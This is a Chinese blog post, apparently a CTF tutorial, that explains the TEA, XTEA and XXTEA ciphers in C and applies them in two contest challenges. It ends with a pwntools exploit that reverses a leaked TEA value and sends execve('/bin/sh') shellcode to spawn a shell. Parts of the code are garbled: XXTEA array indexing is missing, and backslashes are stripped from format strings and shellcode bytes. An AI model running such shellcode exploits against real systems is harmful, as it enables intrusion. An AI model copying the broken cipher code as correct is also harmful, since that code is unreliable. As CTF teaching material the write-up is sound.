TEA
C语言实现TEA加密解密
#include <stdio.h>
//加密函数
void encrypt (unsigned int* v, unsigned int* k) {
unsigned int v0=v[0], v1=v[1], sum=0, i; /* set up */
unsigned int delta=0x9e3779b9; /* a key schedule constant */
unsigned int k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}
//解密函数
void decrypt (unsigned int* v, unsigned int* k) {
unsigned int v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
unsigned int delta=0x9e3779b9; /* a key schedule constant */
unsigned int k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
int main()
{
unsigned int v[2]={6,9},k[4]={1,2,3,4};
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥，为4个32位无符号整数，即密钥长度为128位
printf("加密前原始数据：%u %un",v[0],v[1]);
encrypt(v, k);
printf("加密后的数据：%u %un",v[0],v[1]);
decrypt(v, k);
printf("解密后的数据：%u %un",v[0],v[1]);
return 0;
}
XTEA
C语言实现XTEA加密解密
#include <stdio.h>
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
void encipher(unsigned int num_rounds, unsigned int v[2], unsigned int const key[4]) {
unsigned int i;
unsigned int v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
for (i=0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}
void decipher(unsigned int num_rounds, unsigned int v[2], unsigned int const key[4]) {
unsigned int i;
unsigned int v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}
int main()
{
unsigned int v[2]={1,2};
unsigned int const k[4]={2,2,3,4};
unsigned int r=32;//num_rounds建议取值为32
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥，为4个32位无符号整数，即密钥长度为128位
printf("加密前原始数据：%u %un",v[0],v[1]);
encipher(r, v, k);
printf("加密后的数据：%u %un",v[0],v[1]);
decipher(r, v, k);
printf("解密后的数据：%u %un",v[0],v[1]);
return 0;
}
XXTEA
C语言实现XXTEA加密解密
#include <stdio.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(unsigned int *v, int n, unsigned int const key[4])
{
unsigned int y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v;
z = v
+= MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v
;
y = v
-= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}
int main()
{
unsigned int v[2]= {1,2};
unsigned int const k[4]= {2,2,3,4};
int n= 2; //n的绝对值表示v的长度，取正表示加密，取负表示解密
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥，为4个32位无符号整数，即密钥长度为128位
printf("加密前原始数据：%u %un",v[0],v[1]);
btea(v, n, k);
printf("加密后的数据：%u %un",v[0],v[1]);
btea(v, -n, k);
printf("解密后的数据：%u %un",v[0],v[1]);
return 0;
}
TEA系列算法在CTF中的实例
2021长安杯线下赛
_BOOL8 __fastcall check_password(_BYTE *a1)
{
encrypto((unsigned int *)a1);
return *a1 == 0x14
&& a1[1] == 0x5C
&& a1[2] == 0xA6
&& a1[3] == 0xD2
&& a1[4] == 0xE
&& a1[5] == 0x45
&& a1[6] == 9
&& a1[7] == 119;
}
__int64 __fastcall encrypto(unsigned int *a1)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-3Ch]
unsigned int v3; // [rsp+20h] [rbp-38h]
unsigned int v4; // [rsp+24h] [rbp-34h]
unsigned int v5; // [rsp+28h] [rbp-30h]
int v6[6]; // [rsp+38h] [rbp-20h]
unsigned __int64 v7; // [rsp+50h] [rbp-8h]
v7 = __readfsqword(0x28u);
v6[0] = 0x28371234;
v6[1] = 0x19283543;
v6[2] = 423118625;
v6[3] = -1741216238;
v3 = *a1;
v4 = a1[1];
v5 = 0;
for ( i = 0; i <= 31; ++i )
{
v3 += (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v6[v5 & 3] + v5);
v5 -= 0x61C88647;
v4 += (((v3 >> 5) ^ (16 * v3)) + v3) ^ (v6[(v5 >> 11) & 3] + v5);
}
*a1 = v3;
result = v4;
a1[1] = v4;
return result;
}
2021广东大学生网络安全攻防大赛线下赛
int sub_C51()
{
unsigned int v0; // eax
puts("The game is initializing, please wait...");
v0 = time(0LL);
srand(v0);
dword_202050[0] = rand();
sleep(1u);
dword_202048[0] = rand();
sleep(1u);
dword_202048[1] = rand();
puts("Okay, the game starts now.");
return printf("Your secret key :%un", dword_202050[0]);
}
__int64 sub_CE2()
{
int v1[4]; // [rsp+0h] [rbp-20h] BYREF
int v2[4]; // [rsp+10h] [rbp-10h] BYREF
v2[0] = 2730;
v2[1] = 3003;
v2[2] = 3276;
v2[3] = 3549;
v1[0] = dword_202048[0];
v1[1] = dword_202048[1];
return sub_B50(v1, v2, dword_202050);
}
int __fastcall sub_B50(unsigned int *a1, _DWORD *a2, int a3)
{
unsigned int i; // [rsp+30h] [rbp-10h]
int v5; // [rsp+34h] [rbp-Ch]
unsigned int v6; // [rsp+38h] [rbp-8h]
unsigned int v7; // [rsp+3Ch] [rbp-4h]
v7 = *a1;
v6 = a1[1];
v5 = 0;
for ( i = 0; i <= 0x1F; ++i )
{
v5 += a3;
v7 += (v6 + v5) ^ (16 * v6 + *a2) ^ ((v6 >> 5) + a2[1]);
v6 += (v7 + v5) ^ (16 * v7 + a2[2]) ^ ((v7 >> 5) + a2[3]);
}
*a1 = v7;
a1[1] = v6;
return printf("Your gift:0x%x,0x%xn", *a1, a1[1]);
}
EXP
from pwn import *
from ctypes import *
def get_shell(ip):
global sh
port=10000
#sh = remote(ip, port)
sh=process('./pwn')
context.log_level='debug'
#sh=remote('192.168.123.131',12000)
sh.recvuntil('Your secret key :')
key=int(sh.recv(10),10)
print(key)
sh.recvuntil("0x")
leak1=int(sh.recv(8),16)
print((leak1))
sh.recvuntil("0x")
leak2=int(sh.recv(8),16)
print((leak2))
#sh.interactive()
a1= [(leak1),(leak2)]
v7 = c_uint32(a1[0])
v6 = c_uint32(a1[1])
v5 = 0
a3=(key)
v5=c_uint32(a3*0x20)
for i in range(0x20):
v6.value -= ((v7.value + v5.value) ^ (16 * v7.value + 0xCCC) ^ ((v7.value >> 5) + 0xDDD))
v7.value -= ((v6.value + v5.value) ^ (16 * v6.value + 0xAAA) ^ ((v6.value >> 5) + 0xBBB))
v5.value -= (key)
a1[0] = v7.value
a1[1] = v6.value
print(a1[0],a1[1])
#sh.interactive()
sh.recv()
sh.sendline(str(a1[0])+(",")+str(a1[1]))
sh.sendline("A")
sh.recv()
sh.sendline("1638")
sh.recv()
context.arch = 'amd64'
code = '''
mov rax, 0x68732f6e69622f;
push rax
mov rdi, rsp;
mov rsi, 0;
xor rdx, rdx;
mov rax, 59;
syscall
'''
sc = asm(code)
#sh.sendline("x6ax3bx58x99x48xbbx2fx62x69x6ex2fx2fx73x68xebx08x90x90x90x90x90x90x90x90x52x53x54x5fx52x57x54x5ex0fx05x20x20x20x20x20x20x20x20x20x20x20x20x20x20")
sh.sendline("x6ax3bx58x99x48xbbx2fx62x69x6ex2fx2fx73x68xebx08x90x90x90x90x90x90x90x90x52x53x54x5fx52x57x54x5ex0fx05")
print(len("x6ax3bx58x99x48xbbx2fx62x69x6ex2fx2fx73x68xebx08x90x90x90x90x90x90x90x90x52x53x54x5fx52x57x54x5ex0fx05"))
print(len(sc))
sh.interactive()
return sh
get_shell(1)
广东省线下赛题目链接
TEA系列算法解密思维概述
TEA,XTEA
XXTEA
征集原创技术文章中，欢迎投递
投稿邮箱：[email protected]
文章类型：黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。
原文始发于微信公众号（合天网安实验室）：tea系列算法速成总结及其在PWN中运用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论